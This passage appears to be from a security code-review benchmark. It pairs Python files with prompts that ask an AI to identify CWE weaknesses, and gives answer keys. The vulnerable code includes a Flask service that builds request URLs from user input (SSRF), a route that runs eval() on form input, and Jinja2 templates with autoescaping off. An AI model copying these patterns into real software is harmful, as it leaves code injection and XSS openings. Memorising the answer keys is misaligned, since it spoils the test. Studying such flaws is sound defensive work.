        self.danger_levels = ''


class SpiderNumber(object):
    def __init__(self):
        self.target = 'https://directory.youmail.com/directory/phone/'
        self.headers = {'authority': 'directory.youmail.com',
                        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'}

    # 判断是否是骚扰电话
    def get_phone_harassment(self, number):
        spam_info = SpamInfo()
        flag = False
        req = requests.get(url=self.target + number, headers=self.headers)
        bf = BeautifulSoup(req.text)
        # 查询该号码的危险等级
        result_item = bf.find('span', class_='safety-rating-text pull-right')
        if result_item:
            spam_info.danger_levels = result_item.text
            flag = True

        # 获取当前电话标记信息
        info = bf.find('h2', class_='phone-display-name')
        if info:
            spam_info.mark_info = info.text

        # 获取标记列表
        list = bf.find('div', class_='caller-name-chart-legend')
        if list:
            flag = True
            spam_info.mark_topone = str(list.text).strip().split('\n')[0]

        spam_info.is_mark = flag

        return spam_info


# if __name__ == '__main__':
#     sn = SpiderNumber()
#     info = sn.get_phone_harassment('8009556600')
#     print('是否标记：', info.is_mark)
#     print('标记信息：' + info.mark_info)
#     print('危险等级：' + info.danger_levels)
#     print('标记最多：' + info.mark_topone)



server = flask.Flask(__name__)
@server.route('/callblocker',methods=['get','post'])
def callblocker():
    number = flask.request.values.get('number')
    if number:
        sn = SpiderNumber()
        info = sn.get_phone_harassment(number)
        return json.dumps(info.__dict__)
    else:
        return json.dumps({'msg':'error'}, ensure_ascii=False)
server.run(port=7777,debug=False,host='0.0.0.0')
```

Name the function or class in this code that contains a `CWE-918: Server-Side Request Forgery (SSRF)` vulnerability.
Answer: get_phone_harassment
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from flask import Flask,render_template,request

app = Flask(__name__)

@app.route('/')
def hello_world():
	return render_template('index.html')

@app.route('/evaluate', methods=['POST',  'GET'])
def evaluate():
    rawExpr = request.form['mathexpression']
    mathExpr = str(rawExpr)
    try:
        ans = eval(mathExpr)
    except:
        ans = "non-existing due to improper expression"
    return render_template('index.html', eval='Evaluation for {} is {}'.format(mathExpr, ans))

if __name__ == '__main__':
	app.run()
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-94: Improper Control of Generation of Code ('Code Injection')
  B) CWE-117: Improper Output Neutralization for Logs
  C) CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service
  D) CWE-1333: Inefficient Regular Expression Complexity
  E) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  F) CWE-215: Insertion of Sensitive Information Into Debugging Code
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
from flask import Flask,render_template,request

app = Flask(__name__)

@app.route('/')
def hello_world():
	return render_template('index.html')

@app.route('/evaluate', methods=['POST',  'GET'])
def evaluate():
    rawExpr = request.form['mathexpression']
    mathExpr = str(rawExpr)
    try:
        ans = eval(mathExpr)
    except:
        ans = "non-existing due to improper expression"
    return render_template('index.html', eval='Evaluation for {} is {}'.format(mathExpr, ans))

if __name__ == '__main__':
	app.run()
```

Name the function or class in this code that contains a `CWE-94: Improper Control of Generation of Code ('Code Injection')` vulnerability.
Answer: evaluate
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import jinja2
import re
from sys import stderr
from itertools import count
from html import unescape as html_unescape


jin_env = jinja2.Environment(loader=jinja2.PackageLoader('generator', 'templates'), autoescape=False)


def indent_lines(lines, shift=4):
    if isinstance(lines, str):
        lines = lines.split('\n')
    ind = ' ' * shift
    return ''.join(map(lambda x: ind + x + '\n', lines))


def squash_spaces(line):
    return re.sub('\s+', ' ', line)


class flines:
    def __init__(self, fname):
        with open(fname) as f:
            self.lines = tuple(line for line in f)

    def __call__(self, start, end):
        return self.lines[start-1:end]  # 1-based, inclusive


def transform_case(name):
    upse, pos, out = 0, 0, []
    for i, ch in enumerate(name):
        if ch.isupper():
            if upse == 0:
                out.append(name[pos:i].lower())
                pos = i
            upse += 1
        else:
            if upse > 1:
                out.append(name[pos:i - 1].lower())
                pos = i - 1
            upse = 0
    if upse == 0:
        out.append(name[pos:].lower())
    else:
        out.append(name[pos:].lower())
    return '_'.join(filter(lambda x: x, out))


ecount = count(start=1)


def outerr(line):
    n = next(ecount)
    print('{}. {}'.format(n, line), file=stderr)


def render_template(template, **kw):
    return html_unescape(jin_env.get_template(template).render(**kw))


def split_to_well_sized_lines(items, max_len, sep):
    result = []
    stack, stack_len = [], 0

    def flush():
        nonlocal stack_len
        if stack:
            result.append(sep.join(stack))
        stack.clear()
        stack_len = 0

    for item in items:
        if stack_len and stack_len + len(sep) + len(item) > max_len:
            flush()
        stack.append(item)
        stack_len += (len(sep) if stack_len else 0) + len(item)
    flush()
    return result

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-326: Inadequate Encryption Strength
  B) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  C) CWE-502: Deserialization of Untrusted Data
  D) CWE-94: Improper Control of Generation of Code ('Code Injection')
  E) CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
  F) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import os
from jinja2 import Environment, FileSystemLoader
import json
import yaml
import pdfkit
from datetime import datetime
import argparse
import re


# Resume + Template Constants
CUSTOM_DATE_FORMAT = "%b %Y"
PATH_CAREER_CUP_DIRECTORY = "CareerCup"
PATH_CAREER_CUP_TEMPLATE = r"CareerCup/careerCupTemplate.html"

# Anon
anchorPattern = re.compile(r"<a([^>]*)>[^<]*</a>")


def dateformat(value: datetime, format=CUSTOM_DATE_FORMAT):
    return value.strftime(format)


class ResumeGenerator(object):
    def __init__(
        self,
        working_directory: str,
        dict_resume: dict,
        path_html_template: str,
        dict_anon=None,
    ):
        self.TEMPLATE_ENVIRONMENT = Environment(
            autoescape=False,
            loader=FileSystemLoader(working_directory),
            trim_blocks=False,
        )
        self.TEMPLATE_ENVIRONMENT.filters["dateformat"] = dateformat
        self.path_html_template = path_html_template
        self.dict_anon = dict_anon
        self.dict_resume = dict_resume

    def create_html_resume(self, output_html_name: str) -> str:
        with open(output_html_name, "w") as fp:
            html = self.TEMPLATE_ENVIRONMENT.get_template(
                self.path_html_template
            ).render(self.dict_resume)

            if self.dict_anon is not None:
                html = re.sub(anchorPattern, "", html)
                for old_string, new_string in self.dict_anon.items():
                    html = html.replace(old_string, new_string)

            fp.write(html)
        return output_html_name

    def create_pdf_from_html(self, output_name: str):
        html_path = self.create_html_resume(output_name + ".html")
        pdfkit.from_file(
            html_path, output_name + ".pdf", options={"page-size": "Letter", "dpi": 400}
        )


```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-295: Improper Certificate Validation
  B) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  C) CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service
  D) CWE-502: Deserialization of Untrusted Data
  E) CWE-732: Incorrect Permission Assignment for Critical Resource
  F) CWE-918: Server-Side Request Forgery (SSRF)
Answer: B